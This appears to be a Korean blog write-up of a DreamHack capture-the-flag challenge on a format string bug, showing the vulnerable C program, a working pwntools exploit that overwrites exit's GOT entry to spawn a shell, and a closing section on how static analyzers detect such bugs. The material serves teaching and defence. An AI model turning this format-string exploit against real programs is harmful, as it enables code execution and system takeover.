(DreamHack) Basic_exploitation_002
풀이
Basic_exploitation_002는 FSB (Format String Bug)에 관한 문제이다.
FSB는 printf, sprintf 등 서식 문자를 사용하는 함수에서 매개변수를 검증하지 않아 발생하는 보안약점이며, 이를 통해 메모리 내용을 볼 수도 있다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
위 코드에서는 printf함수에 buf만이 들어왔기 때문에 취약하다고 볼 수 있다.
먼저 buf 변수를 통해 메모리 내용을 확인하고, exit() 함수에 get_shell()함수 주소를 덮어 씌움으로써 쉘을 실행시키도록 한다.
FSB를 익스플로잇하여 첫번째 서식 문자부터 ‘AAAA’를 참조하는 것을 알 수 있다.
디스어셈블러를 통해 get_shell()의 주소가 0x8048609임을 알아냈다.
from pwn import *
p = remote("host1.dreamhack.games", 12773)
elf = ELF("./basic_exploitation_002")
exit = elf.got['exit']
get_shell = 0x8048609
payload = p32(exit)
payload += p32(exit + 2)
payload += "%34305d"
payload += "%1$n"
payload += "%33275d"
payload += "%2$n"
p.send(payload)
p.interactive()
FSB 탐지
디스어셈블러와 디버거가 아닌 자동화된 보안약점 분석 도구에서는 어떻게 FSB를 탐지하는지 알아본다. 먼저 FSB는 printf, sprintf 등의 취약한 함수를 사용할 경우 발생할 가능성이 높아지므로 printf_s, sprintf_s 등의 함수를 사용하여야 한다.
취약한 함수 이름 검색
Flawfinder, Cppcheck과 같은 보안약점 분석기는 위에서 말한 printf와 같은 취약한 함수들을 단순히 검색하여 해당 프로그램이 취약한 지 분석한다.
오염 분석, 데이터 흐름 분석 (Taint analysis, data flow analysis)
Clang Static Analyzer는 오염 분석, 데이터 흐름 분석 등의 분석 기법을 이용하여 메모리 값이 변하는지 직접 확인함으로써 보안약점을 탐지한다.
두 방식의 장단점
단순히 취약한 함수 이름을 검색한다고 해서 취약하다고 탐지된 프로그램이 실제로 취약한 프로그램인지 확실하지 않을 수 있다. (false positive)
반면 단순 스트링 매칭 방식이기 때문에 빠른 시간 내에 프로그램을 분석할 수 있는 장점이 있다.
오염 분석, 데이터 흐름 분석은 프로그램을 실제로 실행하면서 취약점의 존재 유무를 판단하기 때문에 더 정확하다. 그러나 프로그램을 실행하면서 분석하기 때문에 분석 시간이 오래 걸린다는 단점이 있다.
Enjoy Reading This Article?
Here are some more articles you might like to read next: